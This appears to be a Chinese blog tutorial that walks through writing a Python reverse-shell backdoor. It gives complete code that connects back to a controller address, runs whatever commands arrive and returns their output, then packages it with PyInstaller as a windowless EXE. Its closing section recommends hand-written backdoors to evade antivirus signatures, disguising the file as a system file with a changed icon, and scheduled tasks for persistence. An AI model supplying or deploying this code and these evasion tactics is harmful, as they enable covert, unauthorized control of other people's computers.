Python实现简易远程控制终端:从原理到打包部署
本文详解如何使用Python结合Socket模块构建一个简易的远程控制终端。内容涵盖服务端与客户端的消息交互原理、核心代码实现、基于PyInstaller将脚本打包为EXE文件的方法,以及通过伪装文件名和计划任务实现权限维持的策略。旨在帮助读者理解远控程序的基本运作机制及特征规避思路。
理解远程控制终端的核心逻辑
首先,服务端(通常指控制方)通过Socket连接向客户端(被控方)发送指令消息。
其次,客户端接收并解析这些消息,将其视为系统命令并在本地执行。
最后,客户端将命令执行后的输出结果通过相同的Socket连接回传至服务端,由服务端展示执行结果。
使用Python开发简易远控终端
开发环境配置
本教程使用的开发环境为PyCharm 2021.1.1 x64版本,Python解释器版本为3.8。
项目初始化步骤
启动PyCharm,选择创建一个纯Python项目。

进入项目后,清空main.py文件中的所有默认代码,准备编写新程序。

程序代码编写流程
第一步,导入程序运行所需的依赖库。
# 导入所需要的包 import os from socket import *
第二步,定义main函数并初始化Socket套接字的相关参数。
#导入所需要的包
......
if __name__ == '__main__':
# 1、服务端IP地址
IP = "192.168.6.142"
# 2、服务端监听的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
第三步,编写建立网络连接的方法。
#导入所需要的包
......
def remote_control(info):
# 初始化socket连接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 获得客户端角色,便于服务端执行下一步操作
host = os.popen("whoami").read().strip()
# 将客户端角色在每次输入命令的都显示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
if __name__ == '__main__':
......
# 4、连接
remote_control(socket_info)
第四步,实现接收服务端发送数据(即命令)的逻辑。
# 导入所需要的包
......
def remote_control(info):
# 初始化socket连接
......
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
data = skt.recv(1024)
# 将接收的数据进行utf-8解码,并将左右空格去除
command = data.decode('utf-8').strip()
# 如果数据为exit,代表服务端想要断开连接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
if __name__ == '__main__':
......
第五步,执行接收到的命令,并将执行结果返回给服务端。
# 导入所需要的包
......
def remote_control(info):
# 初始化socket连接
......
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
......
if command == 'exit':
......
# 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
result = os.popen(command).read()
# 将命令执行的结果返回给服务端
skt.send((result + tips).encode())
# 关闭socket连接
skt.close()
if __name__ == '__main__':
......
至此,核心代码编写完毕。
验证远控终端功能
准备一台Kali Linux虚拟机作为服务端,其IP地址设置为192.168.6.142,并使用nc命令监听9999端口。



测试连接成功,表明简易远控终端制作完成。
将Python脚本打包为EXE可执行文件
首先,使用pip工具安装PyInstaller模块。
按下Win+R键打开运行窗口,输入cmd并回车以打开命令提示符。
pip install Pyinstaller

在命令行中,将当前路径切换至包含Python源文件的目录。
cd 文件路径

执行打包命令,将Python文件转换为EXE格式。
Pyinstaller -F -w 文件名.py



若显示打包成功,则说明转换完成。
打包完成后,在源文件同级目录下会生成一个dist文件夹,生成的EXE文件即位于该文件夹内。


测试EXE文件的运行效果
在Kali服务端保持端口监听状态。

双击运行生成的EXE文件。


若连接成功,则证明Python制作的远程控制终端功能正常。
制作远控终端的实际意义
本文探讨了Python制作简易远控终端的方法,此前也有文章介绍过Java版本的实现。实际上,这类程序本质上属于后门程序。既然CS(Cobalt Strike)和MSF(Metasploit Framework)等工具能生成后门,为何还要手动编写?
主要原因在于:第一,通过手动编写可以深入理解远控程序的底层原理;第二,商业或开源工具生成的后门特征明显,极易被杀毒软件识别并查杀,即使暂时未被查杀,也可能在数天内被更新特征库后清除,难以实现持续的权限获取(即权限维持)。而自行编写的后门程序未公开,杀毒软件无法匹配其特征值,从而降低被查杀的风险。此外,若将后门程序重命名为系统文件名、修改图标,并将其添加到系统计划任务中,即可实现更稳定的权限维持。
完整代码附录
# 导入所需要的包
import os
from socket import *
def remote_control(info):
# 初始化socket连接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 获得客户端角色,便于服务端执行下一步操作
host = os.popen("whoami").read().strip()
# 将客户端角色在每次输入命令的都显示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
data = skt.recv(1024)
# 将接收的数据进行utf-8解码,并将左右空格去除
command = data.decode('utf-8').strip()
# 如果数据为exit,代表服务端想要断开连接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
# 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
result = os.popen(command).read()
# 将命令执行的结果返回给服务端
skt.send((result + tips).encode())
# 关闭socket连接
skt.close()
if __name__ == '__main__':
# 1、服务端IP地址
IP = "192.168.6.142"
# 2、服务端监听的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
# 4、连接
remote_control(socket_info)
以上即为使用Python制作简易远控终端的完整解析,更多Python相关技术文章请持续关注本站后续更新。
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









